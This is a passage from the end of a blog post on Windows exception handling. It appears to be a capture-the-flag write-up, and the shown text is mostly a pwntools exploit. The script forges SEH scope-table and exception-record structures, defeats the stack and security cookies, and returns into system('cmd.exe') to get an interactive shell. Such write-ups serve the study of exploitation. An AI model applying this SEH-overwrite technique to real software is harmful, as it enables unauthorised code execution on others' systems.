fake_CPPEH_RECORD += p32(stack_addr + 0x18c) # next
fake_CPPEH_RECORD += p32(pe.address + 0x1e30) # EXceptionHandler ==> overwrite with our addr
fake_CPPEH_RECORD += p32(stack_addr ^ security_cookie) # ScopeTable
fake_CPPEH_RECORD += p32(0xfffffffe) # TryLevel
#----------------------------------------------------------
# 001390a0 ffffffe4 00000000 fffffe00 00000000 ................
# 001390b0 fffffffe 001318b7 001318bd 00000000 ................
# 001390c0 fffffffe 00000000 ffffffac 00000000 ................
#-------------------fake_ScopeTable-----------------------
FilterFunc = pe.address + 0x18b7
HandlerFunc = pe.address + 0x18bd
fake_ScopeTable = p32(0xffffffe4) # GSCookieOffset
fake_ScopeTable += p32(0x00000000) # GSCookieXOROffset
fake_ScopeTable += p32(0xfffffe00) # EHCookieOffset
fake_ScopeTable += p32(0x00000000) # EHCookieXOROffset
fake_ScopeTable += p32(0xfffffffe) # ScopeRecord.EnclosingLevel
fake_ScopeTable += p32(FilterFunc) # ScopeRecord.FilterFunc
fake_ScopeTable += p32(HandlerFunc) # ScopeRecord.HandlerFunc
fake_ScopeTable += p32(0x00000000) # end of ScopeTable
#----------------------------------------------------------
payload = fake_ScopeTable
payload = payload.ljust(0x104, '\xcc')
payload += p32(stack_cookie)
payload += fake_CPPEH_RECORD
payload += p32(stack_addr) # rbp
payload += p32(ucrtbased.symbols['system']) + p32(main_addr) + p32(ucrtbased.search("cmd.exe").next())
sa("Input again:", payload)
sla("Give me one shot: ", str(stack_addr))

io.interactive()
  • Title: Windows 异常处理 & 例题
  • Author: henry
  • Created at : 2024-05-17 21:49:21
  • Updated at : 2024-05-17 21:57:14
  • Link: https://henrymartin262.github.io/2024/05/17/windows-异常处理/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments